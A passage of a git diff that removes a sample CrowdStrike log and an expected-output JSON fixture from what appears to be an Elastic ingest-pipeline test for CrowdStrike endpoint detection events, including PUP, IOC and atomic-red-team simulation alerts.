Execution","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
-{"Tactic":"Custom Intelligence","CustomerIdString":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","EventType":"Event_ExternalApiEvent","ParentProcessId":"1234567890123456789","SourceVendors":"CrowdStrike","AggregateId":"aggind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:9876543210987654321","UTCTimestamp":"1700000000","LogonDomain":"","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321?_cid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","CompositeId":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321","Name":"Intel Detection","SHA1String":"0000000000000000000000000000000000000000","SourceProducts":"Falcon Insight","ProcessEndTime":"1700000001","IOCValue":"example.com","PatternId":"5306","MitreAttack":[{"TacticID":"CSTA0005","Tactic":"Custom Intelligence","TechniqueID":"CST0005","PatternID":"5306","Technique":"Indicator of Compromise"}],"AgentId":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","ParentCommandLine":"-bash","ParentImageFilePath":"/usr/bin/bash","DataDomains":"Endpoint","LocalIPv6":"","PatternDispositionFlags":{"BootupSafeguardEnabled":"false","QuarantineFile":"false","QuarantineMachine":"false","HandleOperationDowngraded":"false","Detect":"false","RegistryOperationBlocked":"false","KillParent":"false","ContainmentFileSystem":"false","Indicator":"false","FsOperationBlocked":"false","OperationBlocked":"false","SuspendParent":"false","SuspendProcess":"false","KillProcess":"false","ProcessBlocked":"false","BlockingUnsupportedOrDisabled":"false","PolicyDisabled":"false","KillActionFailed":"false","SensorOnly":"false","CriticalProcessDisabled":"false","KillSubProcess":"false","Rooting":"false","InddetMask":"false"},"Hostname":"test-host-01","GrandParentCommandLine":"/usr/sbin/sshd -D -R","PatternDispositionDescription":"Detection, standard detection.","PlatformName":"Linux","Nonce":"1234567890123456789","Objective":"Falcon Detection Method","ProcessStartTime":"1700000000","Technique":"Indicator of Compromise","cid":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","eid":"118","Description":"A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.","FileName":"curl","ParentImageFileName":"bash","HostGroups":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6,b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7","LocalIP":"192.168.1.100","PlatformId":"3","timestamp":"2023-11-15T12:00:00Z","GrandParentImageFileName":"sshd","FilePath":"/usr/bin/curl","UserName":"testuser","MD5String":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5","SeverityName":"Informational","Severity":"10","CloudIndicator":"true","PatternDispositionValue":"0","ExternalApiType":"Event_EppDetectionSummaryEvent","SHA256String":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","NetworkAccesses":[{"AccessTimestamp":"1700000001","RemoteAddress":"192.168.1.1","LocalAddress":"192.168.1.100","LocalPort":"5353","RemotePort":"53","IsIPV6":"false","Protocol":"UDP","AccessType":"0"},{"AccessTimestamp":"1700000001","RemoteAddress":"192.168.1.2","LocalAddress":"192.168.1.100","LocalPort":"44300","RemotePort":"443","IsIPV6":"false","Protocol":"TCP","AccessType":"0"}],"CommandLine":"curl https://example.com","Type":"ldt","GrandParentImageFilePath":"/usr/sbin/sshd","MACAddress":"00-11-22-33-44-55","AgentIdString":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","IOCType":"domain","ProcessId":"1234567890123456789"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json
deleted file mode 100644
index ff1c57bf92..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json
+++ /dev/null
@@ -1,2101 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902",
-                "AssociatedFile": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe",
-                "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333",
-                "DataDomains": "Endpoint",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999",
-                "GrandparentCommandLine": "C:\\Windows\\system32\\services.exe",
-                "GrandparentImageFileName": "services.exe",
-                "GrandparentImageFilePath": "\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe",
-                "HostGroups": [
-                    "ba7f8041fd6c47dcae4cff3194861088",
-                    "c8d1292a8a904216aa25ab728f4b45fd"
-                ],
-                "IOCType": "hash_sha256",
-                "IOCValue": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976",
-                "MACAddress": "01-23-45-67-89-ab",
-                "Objective": "Falcon Detection Method",
-                "ParentCommandLine": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"",
-                "PatternDispositionDescription": "Prevention, process was blocked from execution.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": false,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": false,
-                    "ProcessBlocked": true,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 2048,
-                "PatternId": 5728,
-                "SensorId": "c8d1292a8a904216aa25ab728f4b45fd",
-                "Severity": 30,
-                "SeverityName": "Low",
-                "SourceProducts": "Falcon Insight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "Malware",
-                "Technique": "PUP",
-                "Type": "ldt"
-            },
-            "device": {
-                "id": "c8d1292a8a904216aa25ab728f4b45fd"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "kind": "alert",
-                "original": "{\"ProcessStartTime\":1718032715,\"ProcessEndTime\":1718032715,\"ProcessId\":43009301133,\"ParentProcessId\":25841449898,\"Hostname\":\"DESKTOP1111\",\"UserName\":\"USER11111\",\"Name\":\"NGAV\",\"Description\":\"This file is classified as Adware/PUP based on its SHA256 hash.\",\"Severity\":30,\"SeverityName\":\"Low\",\"FileName\":\"rfusclient.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"CommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\\\" /rsession\",\"SHA256String\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"MD5String\":\"848a53dc549be0386e5da0f49700c389\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"OVAC\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"01-23-45-67-89-ab\",\"Tactic\":\"Malware\",\"Technique\":\"PUP\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Prevention, process was blocked from execution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"rutserv.exe\",\"ParentCommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\\\"\",\"GrandParentImageFileName\":\"services.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\services.exe\",\"HostGroups\":\"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"PatternId\":5728,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\services.exe\",\"LocalIPv6\":\"\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host",
-                "hash": {
-                    "md5": "848a53dc549be0386e5da0f49700c389",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976"
-                },
-                "name": "rfusclient.exe",
-                "path": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe"
-            },
-            "host": {
-                "domain": "OVAC",
-                "hostname": "DESKTOP1111",
-                "mac": [
-                    "01-23-45-67-89-AB"
-                ],
-                "name": "DESKTOP1111"
-            },
-            "message": "This file is classified as Adware/PUP based on its SHA256 hash.",
-            "process": {
-                "command_line": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession",
-                "end": "2024-06-10T15:18:35.000Z",
-                "entity_id": "43009301133",
-                "executable": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe",
-                "name": "rfusclient.exe",
-                "parent": {
-                    "entity_id": "25841449898",
-                    "executable": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe",
-                    "name": "rutserv.exe"
-                },
-                "start": "2024-06-10T15:18:35.000Z",
-                "uptime": 0
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976",
-                    "848a53dc549be0386e5da0f49700c389"
-                ],
-                "hosts": [
-                    "DESKTOP1111"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "USER11111"
-                ]
-            },
-            "rule": {
-                "description": "This file is classified as Adware/PUP based on its SHA256 hash.",
-                "name": "NGAV"
-            },
-            "source": {
-                "address": "81.2.69.144",
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.144"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "USER11111"
-            }
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111",
-                "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333",
-                "DataDomains": "Endpoint",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999",
-                "FilesWritten": [
-                    {
-                        "FileName": "test_upx_header_changed",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "test_upx",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "CreateProcessWithPipe.exe",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "T1055.exe",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "msys-2.0.dll",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "calc.dll",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "T1055.011_x64.exe",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "EtwpCreateEtwThread.exe",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "CreateProcess.exe",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "T1036.003.exe",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    }
-                ],
-                "GrandparentCommandLine": "/usr/sbin/sshd -D -R",
-                "GrandparentImageFileName": "sshd",
-                "GrandparentImageFilePath": "/usr/sbin/sshd",
-                "HostGroups": [
-                    "44be50f58ccfcfcfcfcfcfcfcffc"
-                ],
-                "MACAddress": "02-42-d8-66-fe-03",
-                "Objective": "Falcon Detection Method",
-                "ParentCommandLine": "-bash",
-                "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": true,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": true,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 272,
-                "PatternId": 30115,
-                "SensorId": "c8d1292a8a904216aa25ab728f4b45fd",
-                "Severity": 70,
-                "SeverityName": "High",
-                "SourceProducts": "Falcon Insight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "Malware",
-                "Technique": "Malicious File",
-                "Type": "ldt"
-            },
-            "device": {
-                "id": "c8d1292a8a904216aa25ab728f4b45fd"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "kind": "alert",
-                "original": "{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
-                "severity": 73,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "/usr/bin",
-                "hash": {
-                    "md5": "675853ca01ec441df7a015b91a7e1272",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc"
-                },
-                "name": "git",
-                "path": "/usr/bin/git"
-            },
-            "host": {
-                "hostname": "linux-vm",
-                "mac": [
-                    "02-42-D8-66-FE-03"
-                ],
-                "name": "linux-vm"
-            },
-            "message": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.",
-            "process": {
-                "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git",
-                "end": "1970-01-01T00:00:00.000Z",
-                "entity_id": "1719309930613520072",
-                "executable": "/usr/bin/git",
-                "name": "git",
-                "parent": {
-                    "entity_id": "1719308637781199091",
-                    "executable": "/usr/bin/bash",
-                    "name": "bash"
-                },
-                "start": "2024-06-25T10:05:30.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc",
-                    "675853ca01ec441df7a015b91a7e1272"
-                ],
-                "hosts": [
-                    "linux-vm"
-                ],
-                "ip": [
-                    "172.17.0.1"
-                ],
-                "user": [
-                    "azureuser"
-                ]
-            },
-            "rule": {
-                "description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.",
-                "name": "Known Malware"
-            },
-            "source": {
-                "address": "172.17.0.1",
-                "ip": "172.17.0.1"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "azureuser"
-            }
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "CompositeId": "7da61e27e34f4b8394081896af72e2c7",
-                "DataDomains": "Endpoint",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections",
-                "HostGroups": [
-                    "2a5927e82d644aa9",
-                    "be74ccf2c2f444cf900"
-                ],
-                "MACAddress": "88-44-66-77-11-22",
-                "Objective": "Falcon Detection Method",
-                "SensorId": "1122025ec596478d830520000000000",
-                "Severity": 70,
-                "SourceProducts": "Falcon Insight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "Machine Learning",
-                "Technique": "Sensor-based ML",
-                "Type": "ods"
-            },
-            "device": {
-                "id": "1122025ec596478d830520000000000"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "kind": "alert",
-                "original": "{\"Hostname\":\"FRHOSTNAME\",\"Name\":\"OnDemandScanfiletest\",\"Severity\":70,\"FileName\":\"testfile.vmx\",\"FilePath\":\"D:\\\\RECYCLER\\\\testpath\\\\testfile.vmx\",\"SHA256String\":\"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections\",\"AgentId\":\"1122025ec596478d830520000000000\",\"CompositeId\":\"7da61e27e34f4b8394081896af72e2c7\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"88-44-66-77-11-22\",\"Tactic\":\"Machine Learning\",\"Technique\":\"Sensor-based ML\",\"Objective\":\"Falcon Detection Method\",\"HostGroups\":\"2a5927e82d644aa9,be74ccf2c2f444cf900\",\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"Type\":\"ods\",\"LocalIPv6\":\"\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "D:\\RECYCLER\\testpath",
-                "drive_letter": "D",
-                "hash": {
-                    "sha256": "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1"
-                },
-                "name": "testfile.vmx",
-                "path": "D:\\RECYCLER\\testpath\\testfile.vmx"
-            },
-            "host": {
-                "hostname": "FRHOSTNAME",
-                "mac": [
-                    "88-44-66-77-11-22"
-                ],
-                "name": "FRHOSTNAME"
-            },
-            "process": {
-                "executable": "D:\\RECYCLER\\testpath\\testfile.vmx",
-                "name": "D:\\RECYCLER\\testpath\\testfile.vmx"
-            },
-            "related": {
-                "hash": [
-                    "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1"
-                ],
-                "hosts": [
-                    "FRHOSTNAME"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ]
-            },
-            "rule": {
-                "name": "OnDemandScanfiletest"
-            },
-            "source": {
-                "address": "81.2.69.144",
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.144"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111",
-                "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333",
-                "DataDomains": "Endpoint",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999",
-                "FilesWritten": [
-                    {
-                        "FileName": "test_upx_header_changed",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "test_upx",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "CreateProcessWithPipe.exe",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "T1055.exe",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "msys-2.0.dll",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "calc.dll",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "T1055.011_x64.exe",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "EtwpCreateEtwThread.exe",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "CreateProcess.exe",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    },
-                    {
-                        "FileName": "T1036.003.exe",
-                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/",
-                        "Timestamp": "2024-06-25T10:06:06.000Z"
-                    }
-                ],
